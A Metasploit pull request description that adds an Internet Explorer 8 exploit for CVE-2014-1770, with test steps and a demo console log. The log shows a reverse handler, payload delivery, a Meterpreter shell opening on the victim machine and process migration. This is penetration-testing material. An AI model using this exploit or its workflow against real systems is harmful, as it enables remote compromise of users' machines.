rapid7/metasploit-framework — pull request #3475 by wchen-r7 (2014-06-23 23:31:20+00:00)
Title: Add CVE-2014-1770 Internet Explorer 8

Verification Steps:

- [ ] Get a IE8 + XP box. Make sure your IE8's build number is between 18702 - 23515
- [ ] Run the exploit, you should get a shell.

Demo:

```
msf exploit(ms14_035_ccaret) > run
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.64:4444
[*] Using URL: http://0.0.0.0:8080/VRpdzQmbR
[*] Local IP: http://192.168.1.64:8080/VRpdzQmbR
[*] Server started.
msf exploit(ms14_035_ccaret) > [*] 192.168.1.80 ms14_035_ccaret - Gathering target information.
[*] 192.168.1.80 ms14_035_ccaret - Sending response HTML.
[*] 192.168.1.80 ms14_035_ccaret - Sending HTML...
[*] Sending stage (769536 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.80:1061) at 2014-06-23 18:30:07 -0500
[*] Session ID 1 (192.168.1.64:4444 -> 192.168.1.80:1061) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2252)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2896
[+] Successfully migrated to process
```